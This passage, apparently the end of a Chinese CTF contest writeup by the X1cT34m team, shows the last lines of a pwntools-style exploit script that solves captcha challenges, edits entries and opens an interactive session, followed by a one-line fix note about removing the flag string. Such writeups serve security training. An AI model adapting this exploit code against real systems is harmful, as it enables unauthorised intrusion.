    captcha3=captcha_challenge(captcha2)
    edit(id3,captcha3)

    id4=eval(add())
    captcha4=captcha_challenge(captcha3)
    edit(id4,captcha4)

    check()
    s.interactive()
第十七届全国大学生信息安全竞赛 华东北分区赛 Writeup by X1cT34m-小绿草信息安全实验室

fix

删除程序中的flag字符串即可